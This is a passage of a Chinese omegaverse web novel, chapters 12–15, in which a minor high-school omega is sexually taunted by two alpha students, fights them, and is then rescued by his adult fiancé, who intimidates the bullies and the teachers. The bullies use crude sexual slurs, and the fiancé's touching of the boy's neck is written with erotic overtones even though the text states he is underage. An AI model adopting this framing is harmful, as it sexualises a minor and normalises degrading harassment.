就像他自己一样,身边也是空荡着的,没有家人。
竹玉渲教会他基础的临摹和素描,他画竹玉渲的也就最多。
有笑着的、躺着的、睡着的,还有竹家母子拥抱在一起的。
它们在杜若寒的画夹里都是幸福的模样,正如杜若寒想要的那样幸福。
但在香榭丽舍睡不着的这些夜晚,杜若寒重新握起笔,再次落下的线条却陌生而又熟悉。
等他画的再清晰些,便猛然惊醒般站起,拿橡皮擦了个一干二净。
他便不再敢瞧上画夹一眼,灌了好几杯凉白开才重新躺回床上去。
在阵阵饱胀感中知道,那不是他所能追求的幸福。
等再过段时间吧,等时间再久一些,也就什么都忘了。
然而令杜若寒没想到的是,距离他和江先生的第二次见面竟然来的如此快。
十月下旬是各大高校大招特办
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生的集中日,而像江临一中这样的重点高中,特招办往往要来的更早些。
于是为了方便学生们报考,江临一中会在10月22号这天召开特别招生告知家长会。
不仅仅是家长,还有往届报考成功的学长学姐们也会到校传授经验,或是招生。
家长会召开的前一晚,杜若寒是接到了杜兆的电话的。
从他搬出杜家后,杜兆的电话就来的有些勤快。
但往往说不了两句,杜若寒就会挂断电话。
杜兆看似句句关心的话语,全都是旁敲侧击的在打听江家的情况,以及偷摸着想要了解杜若寒和江家的继承人是否能坐实关系。
全然忘记了自己的这个儿子,目前还是个未成年。
那晚杜兆的电话打来的有些赶巧,杜若寒本来不想接的,但想到明日的家长会,他便又有些犹豫。
不过杜若寒犹豫的功夫,杜兆的电话便自己挂断了。
杜若寒莫名的松了一口气,其实这样也好。
从前他在杜家杜兆就不会来给他开家长会,更何况他已经彻底从杜家搬了出去。
事情只会像往常每一次家长会那样,他孤零零一人坐在一众大人堆里,又或者他的位置在人群中十分突兀的空出来一个。
谁也没想到家长会还尚未开始,杜若寒竟然在开水间和几个alpha打了起来。
事发之时,竹玉渲还在门口等着竹熙媛女士,所以没有跟杜若寒一起去接水,只是把自己的杯子交给了他。
杜若寒走后没几分钟的时间,竹玉渲忽而听见有人在他身后喊:
“竹玉渲不好了!你赶紧来!”
竹玉渲整个人一愣,还不明所以:
“怎么了?”
那小姑娘是隔壁班的班委,认识杜若寒,也就认识和杜若寒玩得好的竹玉渲。
她满脸慌张:“杜若寒在开水间和几个我不认识的alpha打起来了!”
“什么?!”
有一瞬间竹玉渲以为自己的耳朵听错了。
那小姑娘万分肯定的点点头,“真的啊,哎呀,你别一个人去,你忘了你也是个omega呀——不行,我去叫老师!”
“发生什么事了?”
从教室里走出来的周书庭盯着竹玉渲跑走的背影,忍不住蹙眉。
紧急撤回一个自己的方琳差点没喘上来气:
“周、周班长,你赶紧去看看,杜若寒正被几个alpha围殴呢!竹玉渲也跑过去了!我明明是想让他喊男同学——”
周书庭脸色顿时一变,立刻追了过去。
“你赶紧去叫老师!”
方琳一愣,“好好好,我这就去!”
………………
另一边,汉河茗域内。
秦渊不急不慢的从洗漱室回来发现,本就氛围冷淡的包房内,莫名的竟少了一个人。
他淡而浅的琥珀色眼眸略显几分诧异,顺便踢了一脚正倚靠在沙发上睡觉的诸王。
“江臧人呢?”
诸王睡的已经有些迷糊了,狭长的眼眸试着睁了睁,也只是眯开一条缝,随后在楚落温暖的手抚摸后,又安然的睡去。
秦渊:……有的时候真的很想骂人,他为什么要找这对死恋爱脑过来打牌!
“他一天睡十四个小时,难道还不够——”
“江臧给他老婆开家长会去了。”
楚落不想和他废话太多吵醒老婆,轻描淡写的丢下一颗炸弹来。
轰的秦渊晕头转向,每个字都认识就是连起来不知道什么意思。
“什么玩意儿?他哪来的老婆?!”
12.第 12 章
“锋哥,真是好久不见啊,来一根?”
杨贺动作熟练的从口袋里掏出一根香烟,递到眼前身材高大的男生跟前。
钱东锋挑挑眉伸手接过,和杨贺相视而笑,眉眼间是遮挡不住的纨绔与痞气。
“锋哥,听说你去了淮大?怎么上了大学,反而把我和周敦几个都忘在脑后了?”
杨贺笑嘻嘻的给他点上火,钱东锋朝满是学生的走廊望上一眼,叼着烟往开水间走去。
“换个地方说话。”
杨贺耸耸肩,眼里闪过一丝不屑。
考上淮大才一年不到,就已经在他们几个面前装上了,low货!
心里谩骂着,但等他再抬脚跟前,脸上客气的笑又回来了。
钱东锋没有察觉到有什么异样,他是上一届江临一中的优秀毕业生,之前和杨贺是同班同学,两人关系还算不错。
只不过和杨贺相比,钱东锋的成绩一直都在班里名列前茅。
而杨贺则是学校出了名的混蛋学生,家里花了大价钱才卖进的江临一中,整日却只知道逃课打架泡妞。
钱东锋能和他玩到一起去,也是因为杨贺鬼点子多,帮他泡到了自己想睡却一直睡不上的漂亮小O。
自那之后,两人便常常混迹在一处,直至钱东锋毕业,而杨贺没有任何意外的被留级。
他们聚在开水间抽烟,来来往往的学生瞧见了心里有所怨言也是不敢过去的。
杨贺是习以为常,而钱东锋却盯着那一张张经过的面孔,看得倒是别有一番意思。
杨贺抬头轻瞥了他一眼,心里一动,立马就知道他在打着什么鬼主意,凑上前去坏笑道:
“锋哥,你可别说,自从你毕业之后,新一届可是来了不少漂亮的小O呢。”
钱东锋被他识破了想法,忍不住笑骂道:
“你少放屁了,咱们新一届高一不是从初中部升上来的么?你少诓我。”
杨贺将手里的烟掐灭,笑嘻嘻的说:
“这不是还有转校生么?其中还有一个出了名的小骚货,我跟你说,睡的可爽了。”
钱东锋夹着烟的手一顿,有几分不信:
“江临现在真是什么垃圾货色都能往里收了?”
听到这句话的杨贺脸上笑容一僵,不过转眼就调整好了情绪,接着说道:
“那有什么办法,人家妈妈给咱们校领导当小三呢,这不得安顿好他情人的女儿啊。”
钱东锋一愣,“我靠,这你都知道?你他妈不会是想连人家妈也一起睡了吧?”
他是知道杨贺的癖好的,这人生冷不忌,向来肆无忌惮惯了。
听到这话的杨贺没忍住哈哈大笑起来,两人笑的眼泪都出来了,再抬头却在泪光中瞥见一个清瘦的身影走了进来。
杨贺一愣,在看清来人的一瞬,脸上的笑意便尽数收敛了。
另一边,钱东锋将杨贺的反应尽收眼底。
兴趣来时,目光便更肆无忌惮的打量着眼前的omega。
说是omega,这人并不像正常的omega那般身材娇小或是皮肤白皙。
拿着水杯的手指却纤细修长,好看的紧。
他侧对着钱东锋,只露出一个十分清秀的侧脸,钱东锋也就只能看见他垂着的眼眸下,长而浓密的睫毛。
而和这里所有的学生都与众不同的是,他并不怎么惧怕自己和杨贺。
又或者他压根儿就没看清开水间里的情况,这才走进他们的领地里来了。
这样奇妙的感觉,令钱东锋有种难以言喻的兴奋,他盯着露出一小截的脖颈儿看了好一会儿。
凭着之前不少的睡觉经验,几乎可以笃定眼前的这个omega腺体有残缺。
尽管他脖子戴着昂贵的抑制环,禁欲的黑色却令他毫无波澜的脸与神情,倒添几分令人强烈想要破坏的欲望。
“这位学弟是?”钱东锋从墙边上站起身子,饶有兴趣的问。
原本臭着一张脸的杨贺在瞥见钱东锋的目光后,忽而一笑道:
“啊,锋哥,这个你不认识,他可是我们学校出了名的好学生,年级第一!”
钱东锋微微挑眉,也不知道杨贺是否是有意的。
和他的癖好不同,钱东锋只喜欢上手有难度且不喜欢他的好学生。
得不到时日思夜想,追着捧着,花多少钱都不在话下,但得到以后便很快又索然无味,弃人如弃衣服。
杜若寒听到身后的动静,神情微微一顿,想了想还是抬手将出水阀给关上,准备走人。
他和杨贺有过节,另外一个高个子很显然也是个信息素等级不低的alpha,此地不宜久留。
可他刚抬起头,却发现那名长相有些痞气的alpha竟然已经站在了门口。
很显然,是并不打算这么简单的放他走的。
杜若寒忍不住皱起眉,目光很冷的看向杨贺。
杨贺却冲他耸耸肩的笑笑,甚至假模假样的走过去想要拉开那名男生。
“锋哥,这个要不就算啦,都已经不干净了,别人玩剩的咱们可不能要。”
钱东锋看了杨贺一眼,并没有立马让开。
他太过熟悉杨贺的话术,毕竟他俩狼狈为奸的日子,常常互做对方的僚机。
杨贺为人本贱,尤爱激怒这些心高气傲又面皮薄如纸的omega,且一激一个准。
但出乎两人意料的是,眼前的这个omega很不一样。
除了眼神变得冷了些,脸上却没有过多的表情,甚至看不出明显的喜怒。
杨贺舔舔牙齿,咧开嘴笑了。
“你看,我没说错吧?咱们全年级第一就是被人包养了的婊子。”
“听说你爸把你卖给了一个不能人道的糟老头子?又或者是没有信息素残缺的alpha?”
“残缺omega配残缺alpha哈哈哈,这不是绝配嘛!”
…………
苏回舟原本是要去开水间给家长接水的,但还没走过去就被人从后面拽住了手臂。
他稍稍一愣,转头看去,同班同学卢诺诺冲他使了一个眼神。
“别过去,杨混子带人在开水间不知道在干什么,你别去惹事。”
苏回舟没反应过来,有些疑惑:
“那刚刚不是还有人进去了么?”
“谁进去了?”卢诺诺也是吃了一惊,“胆子真大啊,不怕出事么?”
这时,旁边有人嫌事不够大也不够热闹的接了一嘴。
“敢进去的那也要是个人物呢,除了高三一班的杜若寒,还能有谁?”
杜若寒?这个名字苏回舟影响格外深刻,毕竟前不久关于他的谣言在校园里闹了好一阵子也没消停。
原本是个家境贫寒的好学生,一夜之间变成了戴名牌坐豪车的贵公子。
与其让人相信他是低调行事的豪门公子哥,倒不如相信他确实是被有钱人所包养了。
苏回舟还想再问两句,手肘下意识向后碰了碰卢诺诺,但手感却意外的有些不对。
卢诺诺变高了也变壮了,撞的他手肘有点痛。
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等苏回舟反应慢半拍的转过头看去,才发现原本吵闹的人群不知什么时候变得倏然安静下来,并向两侧让出一道宽敞的通道。
就只有他后知后觉的还站在那里,望见近在眼前穿着西装的胸膛,这才神情错愕的抬起头来,向后猛退两步。
那人长得又高又壮,几乎接近一米九的身材,却穿了一身看上去很不好惹的黑。
他的脸并不具有较高的辨识度,但手上以及脖子上皆带有双重信息素抑制环,像是漫画中走出来的西装暴徒。
苏回舟从未见过这样的人,整个人愣在那里好半天没缓过神。
“关重。”
一道冷硬的声音从那人的后背响起,苏回舟呆愣着顺着声音向后看去。
只见在那名西装暴徒的身后,分明还站着一位。
而在看清楚来者的瞬间,苏回舟这才明白,所谓的西装暴徒在那人的比对下,也只能沦为最为普通的一名保镖而已。
有些人仅仅只是站在那里,不需要任何一言一行,所有人的目光都会被其本能的吸引。
苏回舟看着那人同样高而挺拔的身姿,像是屹立在黑色夜幕之下,令人望而生畏的皑皑雪山,疏远而淡漠。
而过分俊美的眉眼,又使得原本就立体深邃的轮廓变得更加无可挑剔。
他仅仅是站在那里,微微垂着一双眼眸,神情尽显对周遭一切都不感兴趣的漫不经心与冷漠。
可偏偏在他目光轻瞥而来之时,像是蛰藏在黑暗之中的兽伸出狠戾的爪牙,带给人一种难以言喻的压迫与惊心。
而苏回舟就在这种极度的惊骇之下,忘记了呼吸。
直到那名叫关重的保镖下移了视线,对他开口问道:
“同学,你认识高三一班的杜若寒么?”
杜若寒?苏回舟大脑断片了快有五六秒的时间,才找回自己的声音。
“认、认识,他在那。”
苏回舟伸出手,指向他们身后的开水间。
而此时,苏回舟刚伸手指过的开水间里突然传来一阵不小的动静。
关重下意识抬头看向自家老板,而第五江臧没有任何的示意,仅仅是站在那里也足够听清里面所发生的任何声音。
好几道不属于杜若寒的声音响起,说出口的话倒是足够刺耳难听。
“怎么,难道我说的不对么?你他妈不就是卖身才换来这spx的佩戴器么?”
“你要是不卖身,你能坐得起劳斯莱斯?”
“杜若寒,我骂你多少句你都脸不红心不跳的,怎么,我就说你那奸夫两句,你那什么眼神,想打我?”
“看来是真的被睡服了,骨子里就是个下贱的坯子!”
“买你的人是个信息素不全的残废吧?要不这样,我给你钱,你跟我怎么样?”
关重的耳力同样惊人,自然也能听得见里面的声音,下意识转头看向一旁的老板。
而那人的神情则完全隐匿于阴暗之中,看不出任何的表情。
关重莫名的感到一阵寒栗与心绪不宁。
“我残废你大爷!”
这是杜若寒开口说的第一句,也是唯一一句。
钱东锋毫无防备,左脸挨上重重地一拳,而在剧烈的疼痛中,他才模糊的意识到。
因为腺体后天性发育不全,这类omega身体所需要的信息素也是分泌的极少。
而极少的O性信息素影响下,必然会造成他们与一般omega并不相同的身体素质。
也就是说,眼前这家伙…很、能、打。
13.第 13 章
“砰!”
玻璃水杯在alpha的头上毫无预兆的爆裂开来,碎片堪堪擦过钱东锋猛然收缩的瞳孔边缘。
剧烈的疼痛像是遭雷劈了般,在脑壳上四处流窜,施暴者却完全不给他喘口气的机会。
他被杜若寒按在地上,没有丝毫心理准备的又连吃两拳。
钱东锋身为一个信息素等级并不低的alpha,对于疼痛的敏感度天生就要比一般的beta低很多,但实在是架不住杜若寒每招都往人体最脆弱的部位打。
虽然他腺体残缺,且是个看似软弱的omega,但杜若寒打起人来时,剥开一向冷淡的外衣,骨子里那股狠戾而拼命的劲儿,便争先恐后的钻了出来。
他眉眼紧拧着向下压的很低,一只手卡住钱东锋的喉咙,脚也硬生生地踩在钱东锋的胸口,每用力一分,钱东锋就越痛苦一分。
这种痛苦不仅仅是呼吸不上来的生理难受,更多的还是被碾压着没有办法翻身反击的心理憋屈。
直至钱东锋脸色涨成难看的猪肝色,杜若寒才面无表情的脚下放缓了一些力度。
“杜若寒你疯了?!”
杨贺从身后猛地抄起一旁的扫帚,没有收敛任何力度的往杜若寒身上砸。
另一边的周敦见状,赶紧跟着冲上去想要抱住杜若寒的腰身,将人撂在地上。
谁曾想杜若寒转过身来竟然不躲,硬生生地挨了那一扫帚,也要不怕死的回击。
杨贺彻底傻眼了,瞧见周敦挨了那一肘击后,一米八几的大高个捂着腹部痛苦的跪在地上,整个人缩成一团脸色白的吓人。
杜若寒身上也疼,但他更想打赢。
从他上了高中开始,他那不安生的弟弟总是会找各种各样的人来骚扰他。
曾经他也怕过,畏惧过,甚至被那些高年级的alpha撕扯过信息素贴,露出残缺不全的腺体。
他们看着杜若寒狼狈不堪的模样,围着他乱叫乱笑,神情猖狂。
杜若寒便知道打架这种事,如果你不能在第一次打赢、赢得漂亮,那么在这之后就会有无尽无穷的勒索和欺辱。
说到底,一个赤脚的不怕穿鞋的。
一开始也是打不过的,杜若寒就往书包里藏刀。
但他很少在外亮出武器,他也足够聪明,知道这玩意儿如果拿出来伤了人,自己即将面临的又是何等糟糕难堪的人生。
可绝大部分的时间里,他没得选,也没人能帮。
他拼的凶,像只不要命的小豹子。
而藏在书包里的刀具,更像是勇气与毅力消耗殆尽之后,他唯一能有所依仗的底牌。
这样的底牌不是任何人,只是一把冰冷的利刃。
他可以刺向施暴者,也可以随时了解受辱者不堪一击的生命。
但有意思的是,命运虽然玩弄人心,但也并没有给杜若寒将那把刀拿出来的机会。
他便像棵生存在石头夹缝中的小草,钻破干裂的泥土与坚硬的石块后,仍旧在层层乌云遮掩之下,瞥见一缕属于他的阳光。
杜若寒又踢了地上的周敦一脚,抬眼扫向一旁完全愣住的杨贺,抄起一旁的保温杯就要往他头上招呼。
这杯子是竹玉渲的,等会弄坏了再赔他一个新的。
不过竹玉渲的东西都挺贵的,要不自己下手轻点呢?
杜若寒咬了一下嘴唇微微思考,又有些不耐烦的轻啧一声准备动手。
“啊!!”
杨贺怕的不行,双手已经举起抱住头,但想象中的痛觉并没有来临。
他在极度的紧张中将眼睛睁开一条缝,刚刚还举着利器要打要杀的杜若寒竟然缩起了肩膀,目光有些胆怯的低垂下了头。
见鬼了吧?!杨贺赶紧挺直了腰杆,抬起头看去,这才发现开水间的门不知什么时候被人打开向外大敞着。
而就在逆光处的门口,站着宽肩窄背、双腿修长的一人。
他冲杜若寒招招手,姿态有几分令人说不清的优雅与亲昵。
因为杨贺瞧见杜若寒只是神情微微犹豫,便温顺着眉眼走了过去。
那人的手白如玉瓷,骨节分明,淡青色的筋脉顺着手腕隐于禁欲的袖口。
杨贺不知道那人到底是什么来历,也不知道那人和打架很猛的杜若寒是什么关系。
他只是呆愣着瞧见那只手,顺着青年黑色柔软的发落于他白皙的脖颈之间。
而手指触碰划过的瞬间,杜若寒不可避免的感到浑身颤栗,像是被蹂躏过的小兽那般,惊慌的缩了缩脖子。
站在他面前的那人神情不变,手指竟一点一点的滑了进去。
于是杨贺看见,刚刚还戾气深重的青年忽而颤抖着肩,像是在为着某种不明的触感而忍耐着即将溢出口的呻|吟。
他脸色已然绯红一片,有片刻的失神时,原本只是尚且清秀的眉眼流转之间,竟生出几分令人挪不开眼的秾艳昳丽。
杨贺看愣了,杜若寒微微张开唇,急促而短的喘出一声气来。
和男人冰冷的外表不同,他的指腹在按摸到杜若寒脖颈间的皮肤时,杜若寒感受到了那不似正常人般的体温与烫觉。
确认过小朋友的抑制环没有被摘下或是破坏过,第五江臧撩起眼皮目光轻瞥过不远处那几个长得歪七扭八的alpha,神情甚至是算得上温和的开口念杜若寒的名字。
“杜若寒,见到哥哥怎么不知道叫人?”
第五江臧从杜若寒脖颈间落下的手,没有挪开,只是很轻的搭在小朋友的肩上。
轻到杜若寒甚至感觉不到彼此之间有所触碰。
“哥…哥?”
杜若寒那向来聪明的大脑,在这一刻完全死机,却本能的顺着第五江臧的话喊出一声哥哥。
对于眼前的状况他很懵,正如他根本不知道为何江先生会在这里。
也不知道为何江先生要让他喊哥哥那样,完全懵然。
同样懵逼的还有杨贺和钱东锋几人,在这之前他们可从未听说过杜若寒有个出身显赫的哥哥。
杨贺虽然为人轻浮混账,但他并不是什么傻子。
眼尖的几乎是一眼就看见了,那站在男人身后沉默不语的保镖,心里没忍住咯噔一声。
杨贺的父亲杨原是
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个名气不小的外交官,与燕临市里的那些权贵们交往走动也足够密切。
尽管他是出了名不成器的败类,十岁之后杨原也就再也没管过他。
但在十岁之前,杨原也曾带他和哥哥一起参加过第五家主的晚宴。
说实话,对于那时的杨贺而言,有钱人家的晚宴去了多了,也就没什么好稀奇的了。
大多千篇一律的堂皇富丽,奢侈华贵的食物像是随处可见的鸡鸭鱼肉,食之无味。
杨贺从不觉得有趣,除了那次他与杨原参加过的第五家主晚宴。
直至如今,仍旧记忆犹新。
从他们进入第五家的庄园开始,随处可见穿着黑色西装、佩戴双重抑制环的保镖。
那时的杨贺性子爱玩,对未知的事物总是充满好奇。
杨原不得不叮嘱了他一路,不要乱说话也不要乱跑动。
那些黑色衣服的保镖,可都是军部里的人。
你要是惹了不该惹的人,爸爸可救不了你。
当时年仅十岁的杨贺真的被吓住了,在他的认知里就从来没有他爸爸解决不了的事情。
但第五家不同。
如果说他们杨家是紧挨在权利金字塔边缘的一部分人,那么第五家显然是站在这金字塔至高上顶峰上的铸造者。
第五家主举办的宴会,随处可见游走在不同男人之间白皙貌美的omega。
他们甚至不用佩戴任何的抑制环,可以肆无忌惮的释放出诱人而香甜的信息素。
而穿着体面优雅的顶级alpha们,谈笑之间打量过去的目光往往冰冷而不带色欲。
与其说他们没有人欲,倒不如说是他们常年浸泡在名利场上,早已舍弃了人性。
他们天生强大且自控力惊人,杨贺曾听父亲说过,站在金字塔顶尖的那几个家族的继承人,都会在特定的时间段接受来自国家军部的特训。
从而在某种程度上,能免疫绝大部分高等级omega的信息素诱导。
而眼前这个和杜若寒举止亲密的男人,即没有携带抑制环,也没有佩戴止咬器。
眼神淡漠着睥睨过来时,无视了一切生存的规则。
杨贺忍不住向后小退了半步,这样的人,要么天生信息素缺失,要么……
他本就是那些顶级掠夺者中的一员。
“告诉哥哥,是他们打了你?”
男人低垂着眼眸,手指轻轻划过杜若寒被打的火辣辣的脊背。
少年人身上只穿着一件单薄的白色衬衣,薄而轻盈的肌肤之下,是一块块向外凸出的脊骨。
杜若寒脸上一烫,有些茫然的“啊”了一声,不知是想躲还是更想贴近。
第五江臧却只是淡淡的垂着眼眸等待,安静、耐心的,像是一座守护着小小若寒的大山。
只要杜若寒敢指认,他就能为他做主。
而向来习惯了隐忍的杜若寒,却胆怯的想要就此罢手。
“要不还是算了吧……”
第五江臧却轻笑一声。
没什么大不了,杜兆没有养好的小孩,以后他来教便是。
14.第 14 章
“若寒!!你没事……吧?”
竹玉渲愣愣的看着站在自己好友身旁的陌生男人,两人贴的极近,有着旁人说不上来的亲昵。
“玉渲!”
杜若寒面上一喜,刚要过去却又想到什么似的犹豫着没走。
第五江臧放开一直搭在杜若寒肩头的手,温声道:
“去吧,不过不要走太远。”
杜若寒心头一颤,下意识抬头看向跟前的男人。
“那你……”杜若寒犹豫着不知道该不该开口询问。
男人却像是洞悉他心中想法那般,十分自然的说道:
“我答应了你的班主任,要去见他的。”
杜若寒一愣,“……邢老师?”
是老邢给江先生打的电话?可是老邢为什么知道江先生的电话号码?
还有江先生怎么会接,甚至会来呢?
一长串的疑问从杜若寒的脑袋里控制不住的往外冒,男人却没有给出更多的解释。
现在他要为小朋友解决麻烦,却又嫌等会人多气味杂乱。
看着杜若寒被他的朋友拽着走远,第五江臧才转过身来。
“关重。”
他侧过脸,那双黑曜石般的眼眸轻瞥过一旁的杨贺几人。
“全部都问清楚。”
“是。”
关重应声走上前,调动了佩戴在手上的黑色信息素抑制环。
不过是瞬间,一股庞大而令人惊恐的高等级信息素朝着钱东锋几人碾压而来。
三人皆脸色猛地一变。
此时,邢复和教导主任葛铭才接到学生们的消息,匆匆从另一侧的走廊赶来。
邢复是一名beta,但教导主任葛铭不是,几乎是赶到的瞬间就察觉到走廊上向外四溢的狂暴气息。
那是高等级alpha释放信息素在向下位者施压的惯用手段而已。
葛铭在吸入这少量信息素的一秒,脸色明显白了几分,身上也失去了力气。
他只能伸手推了推邢复,“老邢,快……让他们住手!”
看着葛铭明显不对劲的脸色,即便邢复再蠢也反应过来眼下究竟发生了什么,心里莫名的感到不安和慌乱。
他看见开水间门口站着的高而挺拔的男人,立马意识到他才是这场暴行真正的裁决者。
邢复只能硬着头皮上前,“这位家长,还请您手下留情,他们都还是学生,这么小的年纪根本承受不住高等级信息素的对冲,还请您……”
第五江臧眼眸下压,透着一股淡漠的漫不经心。
“邢老师,我想您误会了。”
邢复心头猛地一颤,整个人愣怔在原地。
“小朋友之间小打小闹是很正常的事情,不过蓄意霸凌又以多欺少……”
第五江臧眼神透着森森的冷意,“邢老师,您不会让身为家长的我,坐视不理吧?”
一种无形的压迫感像是扼住脖子的利爪,邢复竟根本说不出一个“不”字,只能呆愣的看着他。
“邢老师放心。”
像是展现诚意一般,男人轻笑一声道:
“我还不至于会为难几个小朋友。”
“只不过让我的人问清楚他们究竟姓甚名谁,日后……也好找他们的家长讨个说法,是不是?”
邢复鼻尖渗出了细微的汗,在这种情况下,即便他明知道不对,也只能僵硬着脸点头道:
“是是是……”
眼见着阻止不了,邢复赶紧将围在外面的那些学生撵回了班级。
一时间空荡下来的走廊,只站着他和脸色难看的葛铭,还有那位可怕至极的家长。
邢复虽然感受不到信息素的存在,但仍旧觉得胸腔里有一口闷气始终喘不上来。
而身为低等级alpha的葛铭,站在这里简直如同受刑一般。
脖颈后的腺体突突直跳,好似随时都要爆裂开来。
好在那人所说的问清楚名字,也真的只是这样而已。
不过两三分钟的时间,漫长的像是下了油锅煎炸过一遍难熬。
关重打开开水间的门,抬眼瞥见不远处站着的两名人民教师,像是接受军训的新兵蛋子。
没忍住,嘴角微微上扬。
“不用担心,里面的学生只是有些脱水而已。”
关重冲两人客气一笑,葛铭的心脏都要从嘴巴里跳出来了。
而那位可怕的家长也是对邢复微微一笑,“邢老师,现在我们可以去您的办公室仔细的聊聊了。”
邢复心里咯噔一声,忍不住向葛铭投去一个眼神。
救救我!!!赶紧救救我!!!
葛铭自己也怕的慌,脸上扬起一个大大的笑容,只不过看上去着实难看。
“好的好的,没问题!”
“那几个学生就交给我吧,老邢你还愣着干什么?!”
邢复:……真的会谢(微笑)。
“您是若寒的哥哥吧?”
邢复擦了擦额头上的汗,一边带路一边欠着腰转过脸来说话。
那两人都长的很高,他不得努力点仰起头,才能瞧清男人没有任何情绪的脸。
于是,心里忐忑之下说的话便越发谨慎:
“若寒这孩子在学校的学习成绩一直很好,为人也懂事谦卑有礼貌,我相信今天这事确实错不在他,估计是那几个学生故意滋事挑衅……”
邢复说完,又忍不住抬头看一眼男人,仍旧是没有表情的淡漠。
“要不这样,还请您给我一个面子!”
“我来联系那几个蓄意滋事的学生家长,如果真的确有其事,那他们该道歉的道歉,该赔偿的赔偿,您看如何呀?”
邢复这话刚一说完,忽而察觉到身后那人脚步不知什么时候停了下来。
邢复下意识抬头看去,心里顿感不妙。
只见这位家长神色不耐,语气更是冷硬:
“如果贵校真有教导好学生的能力,以及能处理好学生矛盾的办法,我想今天的事情就不该发生。”
第五江臧勾起唇,向下压的眼眸透着几乎不近人情的漠然。
“但很可惜,这样的事情还是发生了。”
“既然贵校没有办法能够一次性杜绝类似的隐患,为了我弟弟的安全,那我只好亲自来了。”
“难道这有什么问题么,邢老师。”
邢复愣在原地,几乎是被男人的三言两语压倒在地。
“这、这当然没、没有问题。”
——————
“那是你未婚夫吧?”
竹玉渲和杜若寒并肩靠在走廊外侧的墙面上,两人没有对视,杜若寒却莫名的感到一阵阵心虚。
“我没想到他今天会来。”
竹玉渲从墙上弹起腰来,双手搭在杜若寒的肩上来回摇晃,咬牙切齿道:
“我真的拜托你好么!”
杜若寒被他摇的有些晕,“什、什么?”
竹玉渲瞧着他这不争气的模样,急的手上又用了点劲。
“拜托你!这样有钱的大帅哥请你务必要想尽一切办法搞到手好么!”
“啊?”
杜若寒有些懵的看着竹玉渲,脑子根本没有转过弯来。
这都什么和什么……
竹玉渲已经双手合十的冲他眨眨眼蜜汁一笑。
“寒寒啊,这门婚事我同意了哦。”
杜若寒顿时哭笑不得,“什么呀。”
竹玉渲很
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奇怪的看他一眼,压低声音问:
“你讨厌他?”
杜若寒几乎是本能的摇头,“不讨厌。”
“他在外面难道有其他的男女朋友?”
杜若寒一愣,“这个我不知道。”
竹玉渲快速替他回答,“那就是没有。”
“你怎么知道?”杜若寒好奇的问,惹来竹玉渲的一个瞪眼。
“这个你先别管。”
杜若寒一呆,真的么?
接着又听竹玉渲问:
“那你现在有喜欢的人么?”
杜若寒更是一愣,大脑几乎快要反应不过来。
“好像……也没有吧。”
竹玉渲:“那你为什么不喜欢他?”
杜若寒心跳漏了一拍,神情有些恍惚的听见竹玉渲说:
“他家境好,人长的帅,并且有钱,目前单身没有对象,而且今天是工作日诶!”
杜若寒已经完全跟不上他的脑回路了,晕晕的问:
“所、所以呢?”
“所以!”竹玉渲猛一拍大腿,杜若寒连忙给他比了一个小点声的动作,隔壁教室还在开会。
竹玉渲压低声音,“所以!他这么忙还愿意来给你开家长会说明什么?”
“说明他也同样的并不讨厌你呀!”
“而且刚刚他很关心你诶,他的手!他的手还搭在你的肩上诶!”
“这说明什么?”
杜若寒简直呆若木鸡,“还、还要说明么?”
竹玉渲无比肯定的点点头,“必须的。”
“这说明他对你绝对的有好感!有好感说明什么?来,大声说出来!”
“说明…他喜欢我?”
竹玉渲欣慰的立马一拍大腿:
“恭喜这位优秀的杜若寒同志!你已经顺利毕业了!为师感到非常的欣慰!事实就是这样的呀没错嘛!”
杜若寒简直崩如溃,鸡皮疙瘩窜上来的瞬间,真想一拳打死自己。
自觉十分丢脸的捂住竹玉渲的嘴巴,求饶道:
“祖宗我求你别说了!你昨晚连夜进的传销组织么?”
这么会洗脑?!
竹玉渲不以为然,在他手心里面呵气,湿乎乎的一片。
“唔系认真的!”
此时正逢隔壁班级开完会,家长与学生们从教室内涌了出来。
杜若寒赶紧松开了捂住竹玉渲的手,两人并肩站在走廊上,像是被罚站的两个笨学生。
时不时有人从他们身边经过,杜若寒便听见一些风吹草动。
“高三一班那个很高的alpha是谁的家长呀?简直帅死了!”
“是呀是呀,而且看上去好年轻哦,也很有钱的样子!”
“对呀对呀,不过很可惜的是他好像天生信息素缺失哦……”
“诶?真的耶?他没有戴抑制环,身上也没有信息素溢出,好奇怪呀。”
“那还是算了吧,没有信息素的安抚,以后的日子也很难熬诶。”
“说的也是,小蝶你还记得隔壁班有个学生的妈妈婚后出轨,就是因为她丈夫信息素分泌有问题,听说差点闹出人命来哦。”
“天哪,真的假的,那还是算了吧,虽然我也很喜欢帅哥,但是这样以后的易感期怎么办,想不出轨都难呢。”
“没关系,反正我是beta啊,我又不需要信息素,这样的大帅哥,你们只能想想喽!”
“什么啊,吴情你好过分呐!”
这时,杜若寒突然感觉自己的手臂被人戳了一下。
“ ?”
他侧过脸去看竹玉渲。
那人小脸红红的,声音也小小的:
“你俩绝配诶。”
15.第 15 章
高三一班的家长会较于其他班级开的晚一些,散会的也就比较晚。
等其他班级的同学们走完之后,就只剩下高三一班的学生还在走廊上等待。
隔着透明的玻璃窗与大半个教室,杜若寒看着坐在自己座位上的江先生,竟莫名的有几分晃神。
从他上小学起,杜兆就没怎么来过学校给他开家长会。
不仅仅是杜若寒,他那两个弟弟也是一视同仁。
那时的杜兆手里还握有杜若寒母亲留下来的一批丰厚的财产,时常在高级奢华的娱乐场所里一掷千金。
虽然他们都有一个不着调的父亲,但杜汀州他们要比杜若寒幸运一点的是,他们的母亲犹在身边。
在绝大部分人的眼里,花美琳只是一个年轻漂亮的花瓶。
她没有过高的胆识,更没有宽阔的眼界以及化铁为柔的手段,能助她在上流人士如云般的交际场攀上更高的枝桠。
但漂亮的omega何其之多,那些个翘首以盼能嫁入豪门的,最终也不过是岁月蹉跎沦为旁人的笑柄。
花美琳是其中较为走运的一个,但这也不代表她能被太太圈里的那些贵妇们瞧得起。
即便是杜汀州在某些时候,也是瞧不上自己母亲的出身的。
两人发生争吵时,杜汀州往往可以不废任何余力的戳痛花美琳的心肺。
一句陪酒女出身有什么资格教育我,花美琳便只能被伤的体无完肤,蹲在地上掩面而泣。
那个时候,如果杜兆在,也只会在一旁假模假样的安慰:好了,那都是过去的事了。
至于杜润雨,更是敢怒而不敢言,他怕杜汀州怕的厉害。
杜若寒有时候会觉得花美琳可怜,有时候又会觉得她是可憎的。
只不过绝大数的时间,花美琳在他的眼里也只是一名纯粹为了孩子的普通母亲。
她会积极参加杜汀州和杜润雨的家长会,并为此推掉她费尽心思才约好的牌局。
两个弟弟上小学的时候,因为学校离家近,花美琳更是亲自接送风雨无阻。
